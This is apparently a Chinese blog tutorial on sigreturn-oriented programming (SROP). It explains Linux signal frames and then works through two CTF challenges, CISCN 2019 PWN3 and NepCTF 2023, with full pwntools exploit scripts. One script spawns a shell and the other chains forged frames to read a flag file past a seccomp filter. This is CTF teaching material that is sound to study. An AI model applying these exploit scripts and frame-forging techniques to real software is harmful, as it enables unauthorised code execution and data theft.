signal 机制 signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ┌──(str1d3r㉿str1k3Gwindows)-[~] └─$ kill -l 1 ) SIGHUP 2 ) SIGINT 3 ) SIGQUIT 4 ) SIGILL 5 ) SIGTRAP 6 ) SIGABRT 7 ) SIGBUS 8 ) SIGFPE 9 ) SIGKILL 10 ) SIGUSR111 ) SIGSEGV 12 ) SIGUSR2 13 ) SIGPIPE 14 ) SIGALRM 15 ) SIGTERM16 ) SIGSTKFLT 17 ) SIGCHLD 18 ) SIGCONT 19 ) SIGSTOP 20 ) SIGTSTP21 ) SIGTTIN 22 ) SIGTTOU 23 ) SIGURG 24 ) SIGXCPU 25 ) SIGXFSZ26 ) SIGVTALRM 27 ) SIGPROF 28 ) SIGWINCH 29 ) SIGIO 30 ) SIGPWR31 ) SIGSYS 34 ) SIGRTMIN 35 ) SIGRTMIN+1 36 ) SIGRTMIN+2 37 ) SIGRTMIN+3 38 ) SIGRTMIN+4 39 ) SIGRTMIN+5 40 ) SIGRTMIN+6 41 ) SIGRTMIN+7 42 ) SIGRTMIN+8 43 ) SIGRTMIN+9 44 ) SIGRTMIN+10 45 ) SIGRTMIN+11 46 ) SIGRTMIN+12 47 ) SIGRTMIN+13 48 ) SIGRTMIN+14 49 ) SIGRTMIN+15 50 ) SIGRTMAX-14 51 ) SIGRTMAX-13 52 ) SIGRTMAX-12 53 ) SIGRTMAX-11 54 ) SIGRTMAX-10 55 ) SIGRTMAX-9 56 ) SIGRTMAX-8 57 ) SIGRTMAX-7 58 ) SIGRTMAX-6 59 ) SIGRTMAX-5 60 ) SIGRTMAX-4 61 ) SIGRTMAX-3 62 ) SIGRTMAX-2 63 ) SIGRTMAX-1 64 ) SIGRTMAX
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。 对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate ; unsigned long oldmask; unsigned long cr2; };
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st [8]; struct _xmmreg _xmm [16]; __uint32_t padding[24 ]; };struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate ; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8 ]; };
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。
仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。 说到这里,其实,SROP 的基本利用原理也就出现了。 获取 shell 首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。 system call chains 需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可控制栈指针。把原来 rip 指向的syscall gadget 换成syscall; ret gadget。这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。 后续 ¶ 需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件 可以通过栈溢出来控制栈的内容 需要知道相应的地址 “/bin/sh” Signal Frame syscall sigreturn 需要有够大的空间来塞下整个 sigal frame
以上介绍来自CTFwiki pwntools已集成srop攻击
[CISCN 2019华南]PWN3 #复现环境ubuntu 20.04
1 2 3 4 5 6 7 str1k3@ubuntu:~/Desktop$ checksec '/var/run/vmblock-fuse/blockdir/P0SsCP/pwn3' [*] '/var/run/vmblock-fuse/blockdir/P0SsCP/pwn3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
保护没特别的
1 2 3 4 5 6 7 8 signed __int64 vuln () { signed __int64 v0; char buf[16 ]; v0 = sys_read(0 , buf, 0x400 uLL); return sys_write(1u , buf, 0x30 uLL); }
给了gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 55 push rbp .text:00000000004004D7 48 89 E5 mov rbp, rsp .text:00000000004004DA 48 C7 C0 0F 00 00 00 mov rax, 0Fh .text:00000000004004E1 C3 retn .text:00000000004004E1 .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 48 C7 C0 3B 00 00 00 mov rax, 3Bh ; ';' .text:00000000004004E9 C3 retn .text:00000000004004E9 .text:00000000004004E9 ; --------------------------------------------------------------------------- .text:00000000004004EA 90 db 90h .text:00000000004004EB ; --------------------------------------------------------------------------- .text:00000000004004EB 5D pop rbp .text:00000000004004EC C3 retn .text:00000000004004EC ; } // starts at 4004D6
有mov rax,0xf,显然进行srop 要实现system(“/bin/sh”)首先我们还需要给rdi赋值bin_sh字符串的地址 需要把bin_sh写到栈上 然后利用write函数泄露栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/40 gx 0x7fffffffe330 0x7fffffffe330 : 0x6161616161616161 * 0x000000000040050a 0x7fffffffe340 : 0x00007fffffffe360 0x0000000000400536 0x7fffffffe350 : 0x00007fffffffe458 * 0x0000000100000000 0x7fffffffe360 : 0x0000000000000000 0x00007ffff7de8083 0x7fffffffe370 : 0x00007ffff7ffc620 0x00007fffffffe458 0x7fffffffe380 : 0x0000000100000000 0x000000000040051d 0x7fffffffe390 : 0x0000000000400540 0xb0a1866950c4d504 0x7fffffffe3a0 : 0x00000000004003e0 0x00007fffffffe450 0x7fffffffe3b0 : 0x0000000000000000 0x0000000000000000 0x7fffffffe3c0 : 0x4f5e79969624d504 0x4f5e69d450aad504 0x7fffffffe3d0 : 0x0000000000000000 0x0000000000000000 0x7fffffffe3e0 : 0x0000000000000000 0x0000000000000001 0x7fffffffe3f0 : 0x00007fffffffe458 0x00007fffffffe468 0x7fffffffe400 : 0x00007ffff7ffe190 0x0000000000000000 0x7fffffffe410 : 0x0000000000000000 0x00000000004003e0 0x7fffffffe420 : 0x00007fffffffe450 0x0000000000000000 0x7fffffffe430 : 0x0000000000000000 0x0000000000400409 0x7fffffffe440 : 0x00007fffffffe448 0x000000000000001c 0x7fffffffe450 : 0x0000000000000001 0x00007fffffffe6d4 0x7fffffffe460 : 0x0000000000000000 0x00007fffffffe709
输入的8字节的字母a位于0x7fffffffe330,0x7fffffffe350处有一个0x00007fffffffe458的地址可以泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * context(log_level='debug' ,arch='amd64' , os='linux' ) p = remote("node1.anna.nssctf.cn" ,28856 ) elf = ELF("./pwn3" ) syscall = 0x400501 syscall_ret = 0x400517 gadget = 0x4004DA vuln = 0x4004ED p.send(b'a' *0x10 +p64(vuln)) p.recv(0x20 ) stack = u64(p.recv(6 ).ljust(8 ,b'\x00' )) -0x118 print ("stack -> " + hex (stack)) frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack frame.rip = syscall frame.rsi = 0 payload = b"/bin/sh\x00" *0x2 + p64(gadget) + p64(syscall) + bytes (frame) p.send(payload) p.interactive()
[NepCTF 2023] srop [NepCTF2023]srop 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <syscall.h> #include <seccomp.h> #include <linux/seccomp.h> char buf[0x30 ]="welcome to NepCTF2023!\n" ;int seccomp () { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0 ); seccomp_load(ctx); return 0 ; }int sys () { return 15 ; }int main () { char bd[0x30 ]; seccomp(); syscall(1 ,1 ,buf,0x30 ); return syscall(0 ,0 ,bd,0x300 ); }
查保护
1 2 3 4 5 6 7 pwndbg> checksec [*] '/home/str1k3/Desktop/pwn' Arch: amd64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 str1k3@ubuntu:~/Desktop$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff ) goto 0010 0005 : 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006 : 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007 : 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008 : 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0010 0009 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010 : 0x06 0x00 0x00 0x00000000 return KILL
沙盒,但是允许了orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> search flag Searching for value: 'flag' libc-2.27 .so 0x7ffff77d4a3b insb byte ptr [rdi], dx libc-2.27 .so 0x7ffff77d7505 insb byte ptr [rdi], dx libc-2.27 .so 0x7ffff77d7906 insb byte ptr [rdi], dx libc-2.27 .so 0x7ffff79736a0 insb byte ptr [rdi], dx libc-2.27 .so 0x7ffff7979b44 insb byte ptr [rdi], dx libc-2.27 .so 0x7ffff79b0282 'flags is not implemented and will always fail' warning: Unable to access 16003 bytes of target memory at 0x7ffff79b0286 , halting search. warning: Unable to access 16003 bytes of target memory at 0x7ffff7bd1000 , halting search. ld-2.27 .so 0x7ffff7df6421 insb byte ptr [rdi], dx ld-2.27 .so 0x7ffff7df6efe insb byte ptr [rdi], dx ld-2.27 .so 0x7ffff7df77d4 insb byte ptr [rdi], dx ld-2.27 .so 0x7ffff7df844e insb byte ptr [rdi], dx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = remote("nepctf.1cepeak.cn" , 31943 ) mov_eax_15 = 0x0000400754 buf = 0x00000601050 ret = 0x004007AE syscall = 0x0004005B0 pop_rdi = 0x0000000000400813 stack = 0x0601a50 frame = SigreturnFrame() frame.rdi = 0 frame.rsi = 0 frame.rdx = stack-0x8 frame.rcx = 0x1000 frame.rip = syscall frame.rsp = stack payload = b"a" * (0x0030 +8 ) + flat([ pop_rdi, 15 , syscall ]) + bytes (frame) p.send(payload) sleep(1 ) frame = SigreturnFrame() frame.rdi = 2 frame.rsi = stack-0x8 frame.rdx = 0 frame.rcx = 0x1000 frame.rip = syscall frame.rsp = stack + 0x110 payload = b"./flag\x00\x00" + flat([ pop_rdi, 15 , syscall ]) + bytes (frame) frame = SigreturnFrame() frame.rdi = 0 frame.rsi = 3 frame.rdx = stack-0x100 frame.rcx = 0x40 frame.rip = syscall frame.rsp = stack + 0x110 + 0x110 payload += flat([ pop_rdi, 15 , syscall ]) + bytes (frame) frame = SigreturnFrame() frame.rdi = 1 frame.rsi = 1 frame.rdx = stack-0x100 frame.rcx = 0x40 frame.rip = syscall frame.rsp = stack + 0x110 + 0x110 + 0x110 payload += flat([ pop_rdi, 15 , syscall ]) + bytes (frame) log.success(f"length {len (payload):#x} " ) p.send(payload) p.interactive()